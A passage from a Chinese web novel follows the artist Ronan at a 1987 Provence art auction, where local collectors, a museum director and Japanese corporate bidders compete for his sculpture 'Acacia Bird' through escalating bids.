日本西武百货的委托人向组委会提出申请,希望在拍卖会上不要以买家编号称呼他们,而是以企业代号称呼他们,这打破了普罗旺斯拍卖会维持了几百年的习俗。 而他们敢提出这项要求的原因是,在已经进行的拍卖会中,他们的总交易额占比达到了恐怖的65%,高价作品垄断更是达到了82%,在日本财团的强烈攻势下,拍卖会的前两天本土藏家‘黯然失色’,仅占总交易额的19%。 组委会当然拒绝了西武财团的提议。 这可是在普罗旺斯,我们还在延续几百年前的以物易物交易规则,而你这个外来的买家居然要改我的拍卖规则? 谁给你的勇气啊? 西武百货集团也没有妥协,这边照常拍卖,另一边通过他们所投资的几家高端葡萄酒酒庄持续给组委会施压。 葡萄酒商是普罗旺斯艺术活动最大的赞助群体,他们威胁如果不尊重他们的投资人,未来不会再赞助任何一个艺术活动。 这件事一时间闹得沸沸扬扬,各种消息在戈尔德上空纷飞,听说普罗旺斯艺术协会的主席直接拍桌子让那些酒商‘滚’,硬刚了日本财团。 在国外资本引发的各种事件带动下,这次艺术活动中态度冷静的本土藏家突然‘活跃’了起来,除了知名藏家出手,一些新贵也站了出来。 他们在拍卖会的第三天逐渐发力,和国际资本进行了多轮对抗,终于挽回了一些颓势。 可以说此时在戈尔德风平浪静的外表下暗藏汹涌,每一场拍卖会都像战场一样激烈和残酷。 大家嘴里安迪·戈兹沃西名字出现的频率越来越少,戈尔德城堡前围观的人也没了。 游客们看完展,更愿意找个酒馆或者餐厅坐下来,听周围人讲讲在今天的拍卖会上又发生了什么‘大事件’。 “图拉姆先生的女儿对佐伊是真爱啊,又拍下了一件她的作品,我猜佐伊的第三件作品也会被她拿下。” “那是因为西武百货没有参与这次竞争,你觉得他们会输两次吗?” “没有帕特里西亚小姐也会有其他本土藏家出手,你不知道今天拍卖会上有多热闹,那名来自卢尔马兰名叫巴蒂的艺术家的编制艺术品在‘晨拍’场拍出了6万多法郎的价格,就是一位本土藏家拍出来的。” “普罗旺斯艺术界在和安迪·戈兹沃西之间的对抗中胜出了,但你们说,普罗旺斯艺术界能抵抗的住由安迪·戈兹沃西所代表的其他艺术文化冲击吗?” “难啊,太难了,现在他们面对的可是拿着真金白银的资本家。” “但你想过安迪·戈兹沃西的风头是被两个新人艺术家压下去的吗?普罗旺斯从不缺奇迹,这片土地是被神灵眷顾的地方我觉得戈尔德最精彩的大戏就要开始了!” “诶对了,罗南明天要上拍了吧?他的‘相思鸟’起拍价只有7000法郎,是不是要上‘晨拍’场?” “没错,在‘晨拍’场,‘晨拍’场的加价系数低,他们得叫多少轮啊?” “多少轮不得看估价吗?‘相思鸟’最新估价到多少了?” “‘相思鸟’有马雷查尔的官方背书,还有佐伊现场表白做加持,甜品艺术品又是普罗旺斯独一份,估价一路从5万法郎飙升到了22万法郎,不过参考了佐伊的作品成交价是估价的近1倍,我估计啊上40万都有可能” “上帝,那那些人举牌子的手不会酸了吧?” 相思鸟开拍前一天。 诺曼德馆长不知第多少次派人去打听情况,得到的答案一次次让人失望——罗南的‘干预权’并没有行使到日本西武财团的身上。 助手知道诺曼德教授已经为这件事苦恼好几天了,安慰他道: “虽然西武财团没有退场,但罗南没有向‘资本’低头,所有提出特殊需求的国际买家他都拒绝掉了,已经给我们减去了许多竞争对手。” 一说这个诺曼德教授更着急了。 由于‘相思鸟’的主题原因,罗南是这次拍卖会中最‘硬气’的一个艺术家,在无数艺术家向‘钱’低头时,他对那些拿着钱‘耀武扬威’的国际买家坚决的说了‘不’。 听组委会的同事说,罗南的经纪人歌迪亚放出豪言: “谁敢动‘相思鸟’一下,不用来问我,直接拒绝,那是对罗南和对作品本身的亵渎,这种人不配拥有‘相思鸟’,我们要找的是一个真正尊重它、懂它的买家。” 诺曼德听到这个消息激动坏了。 这说的不就是我吗? 还能有谁比我更尊重它、懂它吗? 这本是一个私密的消息,但善于运作的马雷查尔把这件事大肆宣扬了出去让本就燃起民族热情的普罗旺斯艺术家和藏家更加重视‘相思鸟’的归属权。 在罗南取消了多位国际买家的购买权后,竞拍人数不降反升。 罗南在普罗旺斯艺术家的声誉和人气也跟着‘水涨船高’了。 诺曼德先生要后悔死了。 提醒罗南的经纪人使用‘干预权’是为了减少竞争者,这可倒好反而给自己增加了难度,而且是巨大的难度。 不过一般的普罗旺斯本土藏家,诺曼德先生都能通过他的人脉和地位‘解决’掉,这种‘暗箱操作’很常见。 我在这里欠你的,在别的地方补给你就好了,操作空间很大。 但在诺曼德先生解决麻烦时,发现有好几个本土实力买家比他的态度还要坚决,根本不妥协,而且一个个都是‘硬骨头’。 再加上他不了解的国际买家和一切拿钱开路的西武百货集团诺曼德准备的那个不到万不得已不会启用的‘特殊手段’,说不定有很大概率要启用了。 助手少有的看到诺曼德馆长表现出如此重视的样子,继续安慰道: “馆长,您这次申请了40万法郎的收藏基金已经相当充足,我们有很大希望把‘相思鸟’拿下。” 40万法郎是最新估价的近一倍了! 这个预算在普罗旺斯想买什么艺术品买不到? 诺曼德先生苦笑着摇头: “戴伊,‘相思鸟’是在普罗旺斯出生的,我只是想把它留在出生的地方,并让普罗旺斯的艺术爱好者知道,艺术之神始终在眷顾着这方土地,我们的艺术家也从来没有停下过探索和进步的脚步.这是格拉内博物馆的义务和责任。” 戴伊叹气道: “馆长,您早点休息吧,明天我们要早起去晨场。” 戴伊跟着馆长参加过许许多多次拍卖会,但还是第一次去参加晨场拍卖。 诺曼德先生站起来,最后又嘱咐了一句: “再去帮我给高德曼教授打个电话,确保他和阿尔代明天一定要到场。” “好的馆长。”戴伊点头。 第二天一早。 罗南在歌迪亚的陪伴下去往戈尔德市政厅。 他拒绝让佐伊和巴蒂陪伴。 现在他们几个都是戈尔德‘名人’,到哪儿都有人看着,即使送到门口也没说悄悄话的机会,不如找个地方安安静静的等待罗南的好消息。 今天的罗南也穿上了一席正装,以示对这次拍卖的重视。 “进去之后如果主办方的某些举动和操作让你不满意,不要直接说,告诉我,我去替你交涉。”歌迪亚非常重视艺术家的形象,有脏活儿累活儿抢着干。 罗南语气平缓的说: “进去之后我就不是主角了,主角是艺术品和那些藏家。” 歌迪亚提醒: “在普罗旺斯,艺术家永远是最重要的。” 罗南笑着补充: “还有本土藏家,普罗旺斯同样尊重本土藏家的利益。” 他好好听讲了。 贡献大的本土藏家也拥有特权呢。 两个人一路聊着拍卖会的事,很快抵达戈尔德市政厅门前,那里已围了许许多多等待听到里面一手消息的艺术爱好者。 他们有的喊‘加油’,有的大喊‘普罗旺斯万岁’,还有的对着罗南喊佐伊的名字。 在这些人的簇拥下,罗南有一种要上战场的紧张感.心跳都跟着快起来了。 进入会场前,依然有由主办方的人来确认是否使用‘干预权’。 罗南之前已经干预了十几个买家,是本次活动之最。 和歌迪亚确认了一下没有漏网之‘无礼者’后,马雷查尔亲自带领他们进入拍卖会场。 “紧张吗?”马雷查尔微笑着问。 罗南点头: “有一点,不过更多的是兴奋。” 古朴的木门就在眼前,每靠近一步罗南的情绪就兴奋一分,仿佛一门之隔的地方是他期盼了许久的东西似的。 马雷查尔轻轻推了一下罗南的后背,大门‘吱呀’一声打开,面前出现无数耀眼的灯光,随即他同样激动的声音出现在罗南的身后: “去吧,去登上能让你扬名立万的舞台。” 第335章 有未知才有期待(大章二合一) 起拍价高于1万法郎的艺术品会被安排到下午的‘黄金拍’,晨拍场登台的是起拍价在1万法郎以下的艺术品。 由于门槛低、竞争小,晨拍场可容纳的买家和艺术家人数更多,大概比黄金拍多一半。 步入拍卖会现场,看着座位上密密麻麻的人头,罗南有一种来看歌剧或者舞台剧的错觉.而今日的‘演员’定然就是待会出现在最中央的拍卖员和艺术品。 但这是罗南的个人想法。 现场大部分人都把他视为焦点。 他们的视线在罗南和藏家席之间来回移动,眼神惊恐的不得了。 “昨天的晨拍场,一个酒庄老板可以坐到第一排,同样是那个老板,今天只能去后面站着举牌了,连个座位都没混上!” “晨拍场什么时候来过那么多‘大佬’?都是被罗南的‘相思鸟’吸引来的吧?” “那是肯定的啊,你没看到吗,连格拉内博物馆的馆长诺曼德都来了,这是格拉内博物馆第一次出现在拍卖席,听说‘相思鸟’就是格拉内博物馆推荐去戈尔德中心雕塑展的。” “太奇怪了,诺曼德先生居然没有坐在第一排的最中间?难道有比他更加尊贵的藏家来了??” 普罗旺斯特色拍卖会的规则不可撼动。 即使是人气艺术家罗南也不能打破其规则。 热门作品‘相思鸟’上了晨拍会,罗南也由于第一次参与艺术活动在‘按资排辈’中狠狠的输了,坐到了艺术家区域的最后一排.而且是很边边角角的地方。 罗南并没有觉得不妥,反而觉得挺不错的,至少可以做点‘小动作’了。 和周围的几位初次见面的艺术家打过招呼后,他稍稍倾斜了身子,看往藏家席的方向那里有好几位他的‘老朋友’,不过大部分是他不认识的。 但做足了功课的歌迪亚已经了解了大部分藏家的信息,小声给罗南介绍了起来。 “在后面站着的那些就不用看了,他们应该站不上今天的舞台,我从第三排开始给你介绍。” 罗南微微点头,说了一声‘好’。 “第三排的89号买家是那位要求更名权的瑞士表商代表,我们拒绝了他们的需求,但他们妥协了,说要把‘相思鸟’拍回去以此设计最新的情侣系列。” “131号买家是来自意大利的橄榄园主,他想把‘相思鸟’送给自己的妻子。” “101号买家——” 罗南默默的听着,逐一把这些国际买家的信息和他们的买家编码记住,拍卖会开始后这些数字是他们唯一的身份。 “67号买家.是西武集团的委托人。”歌迪亚加重语气说,“这个你着重注意下,外界认为‘相思鸟’大概率会被他们拍走。” 说完第三排,歌迪亚开始介绍第二排。 不过第二排买家的信息罗南比她更加清楚他的好几位熟人都坐在这个区域。 除了之前就和他打过招呼要来竞拍的60号买家加布里埃尔,罗南还看到了拿着43号号码牌的伊内斯。 没错,这位粉红酒协会的会长也参与到了‘相思鸟’的拍卖中去让罗南颇感意外。 伊内斯最近这段时间一直在戈尔德活动,而罗南只有她办公室的电话,始终没有和她交流过关于拍卖的事情,组委会也没有告诉歌迪亚43号买家想要拍得‘相思鸟’的目的是什么。 除了这两位熟人,第二排还坐了一位罗南许久未见的‘熟人’——在马赛和尼斯开了多家餐厅、把卢卡斯抛弃了的奥利维尔。 几个月不见,这个家伙更胖了,像是一座肉山一样堆在座位上。 此时他正挥舞着短粗的小手远远的和罗南打招呼呢。 “58号买家也是想把‘相思鸟’送给自己的妻子。”歌迪亚口中的58号买家就是奥利维尔。 又介绍了几位二排买家后,歌迪亚看着面容冷峻的伊内斯说: “43号买家从拍卖会第三天开始非常活跃,是除了本土知名藏家外杀出来的一匹‘黑马’,大家猜她可能是在捍卫本土买家的尊严,第二排你着重注意一下她她非常有实力。” 米切兰杂志出版的主编能没实力吗.罗南暗自腹诽道。 雅克先生曾经说过,在普罗旺斯无论遇到什么事都不要惊慌.给伊内斯打电话她能帮你搞定一切。 只不过协会里阿斯特丽德的‘光环’实在太大了,掩盖住了伊内斯的部分光芒。 在艺术界她有可能是新贵,但在时尚圈她绝对是‘大佬’级别的。 如果普罗旺斯拍卖会的规则不是按照拍卖史来排座位,而是经济实力或者社会地位,罗南相信伊内斯绝对有资格坐到第一排去。 不过想到这里,罗南突然有一个疑问: “43号买家从拍卖会第三天才开始活跃,肯定没有日本西武集团的拍卖史丰富,为什么她能坐到第二排,而西武百货只能坐在第三排?” 歌迪亚压低声音说: “因为她是本土藏家啊,你没发现吗,连号码牌的数字都是有规律可循的最前面的数字是本土实力藏家,中间是本土普通藏家,国际藏家的数字都很大了,座位也是按照这个顺序安排的。” 罗南捂住嘴,生怕他的笑声被别人发现: “在普罗旺斯做艺术家和藏家太幸福了吧,可以压国际财团一头。” 歌迪亚轻拍了罗南一下,提示他现在不是开玩笑的时候: “好了,现在要介绍最重要的第一排藏家了。” 罗南顿时坐直了身体,像是一个好好听课的乖学生。 “25号买家罗德里格先生我就不过多介绍了,他私下联系过我两次,问我可不可以不上拍卖会,把‘相思鸟’私下交易给他,他一定会给到我们满意的价格。”歌迪亚严肃的说,“这当然不可能了,上拍卖会不只是为了钱,这是你获得声誉和无数关注的机会.那是用钱无法衡量的。” 罗南轻轻点头。 每次罗德里格先生找歌迪亚,歌迪亚都会告知罗南这也是他的意思。 “总之他对‘相思鸟’非常在意。”歌迪亚敲了两下扶手。 “17号买家桑松女士也是一位非常有实力的本土藏家,她希望拍下‘相思鸟’纪念她的亡夫。”歌迪亚继续介绍。 罗南先是一阵感动,随后皱着眉毛问: “那位女士看起来只有40多岁的样子,丈夫就去世了?” 歌迪亚尴尬的整理了一下头发: “她上个老公去世的时候82岁,上上个老公去世时78岁.这是一位靠婚姻成功的女性,听说今年要第7婚了,对象是马赛老船王。” 罗南沉吟了好几秒,才点评道: “老船王真有自信啊” “船王嘛,什么大风大浪没见过——”歌迪亚摇了摇头,把脑袋里奇奇怪怪的想法甩了出去,继续说道,“8号买家我就不用介绍了吧?帕特里西亚小姐,咱们的老朋友了。” 罗南看向那个正在打哈欠的可爱女孩: “她还真来看热闹了?我以为她是开玩笑的。” 帕特里西亚这次来戈尔德眼里只有一个艺术家,那就是佐伊。 但‘相思鸟’这里的战况太热闹了,年轻人哪有什么定力啊,必须亲自来看看才行,所以她也对‘相思鸟’表达出了兴趣。 不过在拍下佐伊的第二件作品时,帕特里西亚告诉佐伊——她不会真正的参与进‘相思鸟’的争夺,今天是纯路人。 歌迪亚的声音突然郑重起来: “拿2号牌的诺曼德先生也不用我介绍吧?组委会的人告诉我,他是第一个给‘相思鸟’报价的人.他今天居然亲自来参加拍卖会了。” 罗南随着歌迪亚的目光看向藏家席靠近中间位置的老者。 如果没有诺曼德先生的帮助,罗南的戈尔德之行在1月底就要结束了,可以说是他成就了如今的罗南。 很快罗南‘咦’了一声,问歌迪亚: “格拉内博物馆应该是普罗旺斯最大的博物馆之一,按理说诺曼德先生应该坐在第一排的最中间吧?但现在中间坐的怎么是其他人?普罗旺斯其他博物馆的代表?” 歌迪亚咧着嘴说: “你那是摩纳哥王妃的委托人,普罗旺斯拍卖会最初是皇室的内部活动,现在王室到场,自然要坐到最中心的位置。” 罗南惊讶的‘咦’了一声: “也是来拍‘相思鸟’的?给我们的意向名单里没有摩纳哥王妃吧?” 摩纳哥王妃会看上1万法郎以下的艺术品? 除了‘相思鸟’绝无其他可能! 歌迪亚摇着头说: “主办方昨天很晚才通知我,说皇室不需要提交意向申请,有出席所有拍卖会的资格,只能说我们对普罗旺斯拍卖会的规则了解的还不够全面和透彻有太多太多规则等着我们慢慢去发掘了。” 摩纳哥王室代表的意外到场,让罗南的情绪更加兴奋: “有未知才有期待不是吗?如果知道了全部,后面演变成什么样子都可以大概预见到,就是因为流传了几百年的普罗旺斯拍卖会永远有不断的新惊喜出现,才能让人忍不住想要知道它的结局。” 晨拍场的第一个流程依然是拍卖师用普罗旺斯方言介绍拍卖规则。 可能是因为有王室到场,也可能是由于今天的晨拍太过特殊,歌迪亚给罗南介绍说那位拍卖师是普罗旺斯现役最资深的一位,今年已经六十多岁,平时他只会上黄金拍中的‘黄金拍’。 今天把他老人家请出来,足以见普罗旺斯艺术界对这场拍卖会的重视。 在场的很多人都认出了这位老先生,虽然已经非常了解规则,但听的时候大家都无比认真,连哈欠连天的帕特里西亚都坐直了。 爸爸说,西斯科亚爷爷未来上拍的次数可以用两只手数过来,见一次少一次,这次爸爸不能来见证太遗憾了.帕特里西亚在心里小声的念叨。 她强打起精神,决定从一开始就打起精神,不能再走神了! 晨拍会的规则和黄金拍基本一致,只有一点不同,那就是加价额度变低了。 西斯科亚苍老又庄重的声音清晰的传到了拍卖会场内的每一个角落: “本场拍卖以法郎为基准,每次加价单位为1000法郎,交割时可使用等价值——” 藏家席中的国际买家们一阵‘哀嚎’和‘抗议’。 其他的作品一千一千加可能都不好拍出去,但一千一千的加‘相思鸟’,得加到什么时候啊? 普罗旺斯本地的特殊拍卖规矩简直迂腐至极! 这里发出的动静引得许多本地藏家不满,大家纷纷回头用眼神谴责他们弄出的声音。 你们没看到拍卖师正在讲规则吗?! 帕特里西亚更是气呼呼的攥起了拳头。 你们这是对西斯科亚爷爷的不敬! 西斯科亚不需要其他人替他鸣不平,在讲到易物规则时,突然停了下来,敲击了一下木锤,指着藏家席的某个方位说: “157、121、143、86、90、139号买家警告一次!” 与威严的声音同时出现的,还有侍者放于他们面前写有‘请尊重橄榄树的沉默’的提示牌。 西斯科亚不怒自威的说: “如若一次警告后持续交谈干扰现场拍卖,会被强制带离,并需喝下1升粉红酒做赔罪,拍卖过程中,如若有人影响拍卖会秩序并造成混乱,最高可处以落槌价5%的罚金!” 第二下落槌声后,西斯科亚继续讲回易物规则,似乎一切都没有发生似的。 但现场已不敢有任何说话的人了。 罗南和歌迪亚互看了一眼,敬佩的伸出一个大拇指。 姜还是老的辣! 不愧是普罗旺斯最具威望的拍卖师!! 不过罗南很快又愁的叹了一口气。 对待扰乱秩序的藏家,惩罚机制居然是喝下一升粉红酒看来粉红酒自古的名声就不大好啊。 他又一次回头看向伊内斯,发现她的脸色更加冷峻了。 会长也在为粉红酒的不公平待遇而气愤了吗? 罗南摸着下巴沉思了起来。 最迟下下个月,他应该就要开始筹备接手杰罗姆的粉红酒庄,未来全部硬仗要打。 他需要利用一切可以利用的资源,改变粉红酒在普罗旺斯的待遇。 在时尚界有不小影响力的伊内斯可以帮助到他吗? 罗南的作品在三号位,比较靠前的位置。 02号作品刚一开拍,现场的气氛就开始‘热闹’了起来。 加布里埃尔从无所事事的状态中脱离,认真的坐直了身子。 “下一个就是罗南的作品。”他小声的嘀咕了一句。 加布里埃尔多次想给罗南‘送东西’全部被罗南拒绝了,到了后来每次加布里埃尔打电话说要去卢尔马兰吃饭.罗南都会以‘要进山’为由躲开。 但这次拍卖会我名正言顺的给你送钱你躲不开了吧? 可能由于大家太想看‘大戏’,也可能是由于西斯科亚经验丰富,前两个作品的拍卖过程非常顺利,加布里埃尔还在想事情呢,2号作品就拍完了.又一眨眼的功夫,艺术家都开始致谢了。 “哎,如果‘相思鸟’拍卖速度能这么快就好了。”加布里埃尔拿起了自己的60号牌子,恨不得现在就把这个作品收入囊中。 “感谢发言,下一件拍卖品是编号3的藏品,来自艺术家罗南!”西斯科亚拍卖师的话把全场人都拍‘醒’了。 加布里埃尔几乎在瞬间就举起了牌子,但拍卖师西斯科亚居然把锤子指向了另一个方向: “58号买家加价1000,成交价来到了8000法郎!” 加布里埃尔惊讶的扭头,看向了与他同排的一个胖子。 奥利维尔正在为能在‘相思鸟’的战役中第一个举牌而开心。 胖怎么了? 我是个灵活的胖子。 但他的自豪感还没有维持一秒钟,聚光灯就打到了另一个人的身上。 “60号买家举牌了!” 奥利维尔不满的看过去,似乎在抱怨: 嘿,伙计,你那么着急干什么?多给我一点时间不可以吗? 但牌子此起彼伏的举起来,不到一分钟成交价就上了两万。 西斯科亚的锤子在空中飞舞,嘴像是喷射机一样快速,配合着他地道的普罗旺斯方言,听起来像是神父在念某种驱魔的魔咒: “53号,2万1!60号加到2万2!现在的价格是2万3,出价人是58号卖家!让我们看向60号的先生,他又举牌了!” 现场的魔咒没有让恶魔远离大家的身体,反而让这些人病的更重了,尤其是加布里埃尔和奥利维尔。 对于一个预估价达到20万的作品,大家可以毫无顾忌的举牌子,反正距离真正的‘战场’还有很远的距离。 但架不住胳膊酸啊,反正有那么多人对这个藏品有兴趣,少举几下不打紧。 可加布里埃尔和奥利维尔像是对上线了一样,不肯认输,并且玩起了谁更快的游戏。 西斯科亚口中的加速版驱魔魔咒就是他们的旋律和拍子。 加布里埃尔&奥利维尔:“看谁先认输!” 第三排的国际买家看笑了,又开始窃窃私语起来。 不过此时的拍卖师正在认真计算金额,没有功夫顾及他们。 “迂腐的普罗旺斯艺术界。” “好好的一个拍卖变成了比手速的游戏,好玩吗?” “改规则能死?” 前排许多藏家用眼神警告他们‘肃静’! 这些国际买家已经在前几天的拍卖会上造成了许多麻烦,他们经常性的挑战这里传承了百年的规则! 但大家的眼神警告没有取得什么效果,第三排的藏家表现的更加散漫,用以表达他们的态度。 突然,一排的某位买家动了。 拍卖师西斯科亚的语速终于放缓了一些,让大家听清了他说的话: “25号玩家行使了他的买家特权,未来他每一次加价都是最新成交价的20%,直至退出竞争为止,此时的成交价来到了——48000法郎!” 罗德里格表情严肃的看了一眼第三排那些窃窃私语的国际买家。 呵呵,慢吗? 现场出现一片惊呼。 买家特权再一次出现! 不过很快惊呼声像海浪一样攀向了顶峰。 因为第二支薰衣草干花出现了! “17号买家也行使了她的买家特权,未来她每一次加价都是最新成交价的20%,直至退出竞争为止,现在的成交价是——” 西斯科亚看向台下的记录官,连续两轮‘跳价’,即使他经验丰富也算不出来了。 在台下记录员的提示下,西斯科亚把锤子举起了起来: “57600法郎!” 许多艺术家和本土藏家已经兴奋的站了起来。 普罗旺斯拍卖会的规矩中加价系数普遍不高。 但现在一轮叫价涨了快1万了! 不过,这就足够了吗? 桑松女士优雅的放下了薰衣草干花。 那些外乡人居然感挑战普罗旺斯的传统? 她语气淡淡的对不远处的罗德里格说: “价格确实起的慢了一点,罗德里格,我们给来自世界的朋友们演示一下什么是正确的加速吧?” 罗德里格哈哈大笑起来,同时拿向手上的薰衣草干花: “我正有此意,不过这个作品我势在必得,加到后面你可不要生气。” 桑松摸着手里的薰衣草干花,语气坚定的说: “愿意奉陪到底。” 之后的五分钟是普罗旺斯拍卖史上最漫长也是最重要的五分钟。 罗德里格和桑松女士手里的薰衣草干花交替出现,在场没有任何第三个牌子敢举起。 而‘相思鸟’的价格也在短短的五分钟之内不断攀升。 由于‘跳价’的数字不好计算,西斯科亚需要不断的停下,等待台下给他计算数字。 而每一次的等待,全场人的心都会紧张的扭到一起。 “82944!” “99532!” “119439!” “143327!” “171992!” “206391!” “247669!” 每一次西斯科亚苍老庄重的声音,都会伴随着排山倒海的欢呼声。 出现一个买家行使特权已经可以载入史册,两位不同买家同时行使特权、而且是接连使用在普罗旺斯历史上绝无仅有! 年迈的西斯科亚举了一辈子锤子的手都跟着颤抖了起来。 能成为本场拍卖会的拍卖师,是他一辈子的殊荣! 即使明天退休也没有遗憾了。 因为他的最后一舞.是如此的绚烂和恢弘! 有些情难自已的本土藏家对着那些刚刚喋喋不休的国际买家喊: “起拍价7000法郎的作品五分钟就到24万,这才是普罗旺斯拍卖会的魅力!这情形只会发生在神圣的普罗旺斯,而不是巴黎,不是纽约,也不是东京!!” 不过当价格来到24万法郎后,桑松女士举花的手没有那么坚决了。 她需要先在心里计算一下增加20%后是否还在自己的承受范围里。 全场目光全部聚焦到了这位女士的身上。 拍卖会后台。 西蒙斯兴奋拍了两下手,对马雷查尔说: “又一个热门作品出现了!我们的展会里终于出现了热门作品!” 马雷查尔双手抱胸,面无表情的看向场馆里: “不要高兴的太早,再看看。” 西蒙斯马上收敛起了笑容。 事实证明马雷查尔的是一个合格的‘幕后操盘手’,‘相思鸟’的成功有他至少一半的功劳 难道马雷查尔看出了什么问题? “24万法郎的成交价已经不低了,足够你向普罗旺斯艺术协会交代。”西蒙斯安慰道。 马雷查尔突然轻笑了一下: “我是让你别这么早开心,这场拍卖会才刚刚开始。” 第336章 普罗旺斯的尊严不可撼动! 罗德里格和桑松女士进行的‘跳价’大战太过凶残. 最后几轮,他们每举一下薰衣草干花就是3-4万法郎的加价幅度,这让其他举牌只能加1000法郎的买家都不好意思参与进去了。 不过桑松女士的迟疑,给这场让人血脉喷张的‘跳价’大战落下了一个‘逗号’,有些人终于反应过来自己今天是来干什么的了。 “60号买家举牌了!” 率先打破僵局的是加布里埃尔。 24万有可能是桑松女士的上限,但那绝不是除了钱什么都没有的糖果大王的上限。 但和加布里埃尔争斗了多轮的奥利维尔并没有去碰牌子。 今年是他和妻子米切尔结婚的第二十个年头,他想给妻子买一份礼物感谢她这20年的陪伴。 但现在的价格已超过了奥利维尔的心理预期。 加布里埃尔的老对手奥利维尔没有接招,但第三排的国际买家们行动了。 之前他们担心价格涨的太慢,现在他们担心价格涨的太快! 跳价大战的其中一方17号买家桑松女士似乎陷入了犹豫,但25号买家罗德里格看起来一副‘胸有成竹’的模样,肯定会再次叫价。 但他叫价的涨幅太大了 国际买家们寄希望于抢在他之前举牌,让价格一点点涨,直至逼迫这位本土买家也开始计算‘跳价’后果,然后悄然退出。 虽然他们的加价幅度只有1000,但要抢在罗德里格之前举牌子,一个跟一个速度非常快,很快价格就来到了27万法郎。 几次举花都没有抢过的罗德里格也暂时停下了攻势,和旁边的副手低语了起来,似乎要调整竞拍策略。 两位特权买家暂时冷静了下来,但价格超过27万后,绝大部分本土买家和国际买家也相继退出了竞争。 现在的价格已经超过了市场估价五万多,再投入进去就是赌注了。 此刻还在场上坚持的都是权贵中的权贵、资本中的资本,比如加布里埃尔,还比如瑞士表商、意大利橄榄员主和日本西武百货。 “60号举牌了!” “131号买家加了1000!” “60号买家并没有放弃!” “89号买家再次加价!现在的价格来到了299669,还有人要加价吗!”西斯科亚高高的举起锤子,似乎在提醒大家他要落锤了。 60号买家加布里埃尔陷入了短暂的以一敌多状态,和他抢着举牌的只剩下国际买家。 但让人意外的是,同排的奥利维尔时隔几轮后再次参与了进来。 “300669!”拍卖师激情澎湃的对着台下说,“58号买家让3号拍卖品迈过了30万法郎的门槛,现在还有人要加价吗?” 奥利维尔紧张的看向四周。 30万法郎是他的最后一搏。 为了陪伴自己20年的妻子他要拼了! 事实上30万法郎也是其他许多买家的上限。 这个关键的数字让不少人陷入了两难。 拍卖师语速极快的催促声像是战鼓一样打在了在场买家的心上。 还要继续吗? 加布里埃尔不屑的轻笑一声。 这就不敢加了? 正当他要举牌之际,西斯科亚苍老的声音出现了: “301669!让我们感谢43号买家的支持!!” 奥利维尔沮丧的放下了牌子。 他彻底退出这次争夺战了。 “对不起米切尔.我会再找其他礼物送给你的。”奥利维尔无奈的嘟囔。 他不远处的加布里埃尔也一脸沮丧。 43号买家是伊内斯. 会长也是来竞争‘相思鸟’的? 主办方只会通知艺术家藏家名单,不会同步藏家竞争者有哪些。 加布里埃尔在会场里见到伊内斯时,一直祈祷会长是来拍其他作品的。 ‘相思鸟’开拍至今伊内斯始终未动,让加布里埃尔兴奋不已。 没想到会长还是出手了 要和会长抢吗? 正在加布里埃尔想东想西之际,伊内斯压低身体,隔着几十个人看了他一眼,并送上了一个‘意味非凡’的微笑。 “我在粉红酒协会本就地位低下,再和会长抢东西距离被开除会籍就不远了,我离开了粉红酒协会,怎么帮助马里尼加入进去?” 想明白利害后,糖果大王放下了手里的60号牌子.退出了竞争。 突然加入的伊内斯接起了加布里埃尔的‘大旗’。 她以‘以一对多’的姿态和国际买家缠斗了十几个回合,‘相思鸟’的价格不知不觉来到了31万法郎。 来到这个阶段,连意大利橄榄园主举牌前都要思考几秒,但这位面容冷峻的女士似乎化身为了无情的举牌机器.颇有一副‘竞争到底’的架势。 第一排,戴伊好奇的问身边的诺曼德馆长: “米切兰杂志社为什么拍下这么多艺术品?” 格拉内博物馆和米切兰杂志有过多次合作,戴伊认识这位有‘女魔头’之称的主编大人。 伊内斯在拍卖会上频频发力的消息并不是秘密,今天遇到了,戴伊忍不住去问自己的馆长。 诺曼德馆长叹气道: “资本渗透进艺术市场是无法逆转的事实,米切兰杂志社应该是要在艺术领域有所动作了,戈尔德艺术活动就是他们的向普罗旺斯市场发出的信号。” 1980年代新自由主义经济政策盛行,资本寻求避险与增值渠道,艺术品因其稀缺性和抗通胀特性成为‘另类资产’。 无论是法国本土还是国际上都将艺术品视为了新的资产配置工具。 近三年,普罗旺斯艺术市场经历了史上最剧烈的资本化浪潮,梵高的作品溢价1250%,其他艺术品也经历了‘创作繁荣’。 如果在三年前,经验丰富的诺曼德可以预估出每一件艺术品的成交价,上下不会差10%。 但在1987年.他已经看不懂市场了。 戴伊见诺曼德馆长眉头紧锁,小声问道: “米切兰杂志社会给我们造成麻烦吗?” 这个新杀出来的黑马看起来有点强啊。 诺曼德声音都跟着苍老了: “戴伊,我虽然看不懂市场了,但我知道把艺术品当作商品的人很难笑到最后.因为在真正的热爱面前,艺术是无价的。” 戴伊露出灿烂笑容: “就比如您!” 诺曼德馆长认真听了几秒拍卖师播报的新价格,严肃起来: “肯定还有其他人我们准备一下吧,要开始了。” 伊内斯和国际买家的竞争虽然激烈,但加价幅度并不高,31万多的范围僵持了许久都没有再下一步。 正当大家认为拉锯战要开始之际,安静了许久的桑松女士再一次举起了她的薰衣草干花。 全场一片惊呼。 到了31万这个价格,‘跳价’一下可是6万多,这位女士太猛了! 拍卖师的声音再一次激昂了起来: “17号买家行使了她的特权,最新的成交价来到了376402!” 桑松女士的面色没有之前从容了。 这将是她的最后一舞. 寄希望巨大的加价幅度能吓走其他竞争对手,给大家造成一种她势必拿下的错觉,逼迫对手退出竞争。 伊内斯面色冷峻的看向第一排的桑松女士。 37万超过她的上限了。 和伊内斯争斗了好几轮的89号和131号买家也和团队开起了内部会议。 ‘相思鸟’的市场估价只有20多万,30出头他们还可以勉强接受,但37万还有抢夺的必要吗? 见89、131和43这几个牌子迟迟没有举起来,大家知道他们也退出了。 此时大家全部看向了曾和桑松女士进行跳价大战的罗德里格。 不过‘跳价’意味着成交价要达到恐怖的45万法郎,这位尊贵的本土藏家还有底气举起薰衣草干花吗? 就在全场屏住呼吸观察25号牌子的情况时,藏家席第一排最中间的2号牌和1号牌先后举起。 桑松女士失望的低下头。 摩纳哥王妃是什么情况她不知道。 但诺曼德在私下接触过她,并表达出来了‘无论付出多少代价’都要拿下‘相思鸟’的决心。 看来这个决心比她想象中的还要大啊 桑松女士忍不住侧头看向第一排的最中心。 论财力诺曼德绝对比不过摩纳哥王妃也比不过日本财团。 他的信心来自哪里呢? 2号牌持有人诺曼德先生笑着看了一眼身边手持1号牌的摩纳哥王妃委托人: “我以为你和帕特里西亚小姐一样,是来观摩的。” 帕特里西亚从看戏的状态中短暂脱离,笑着吐了一下舌头。 我看的可认真了呢! 摩纳哥王妃的委托人是一位中年男士,他用歉意的语气说: 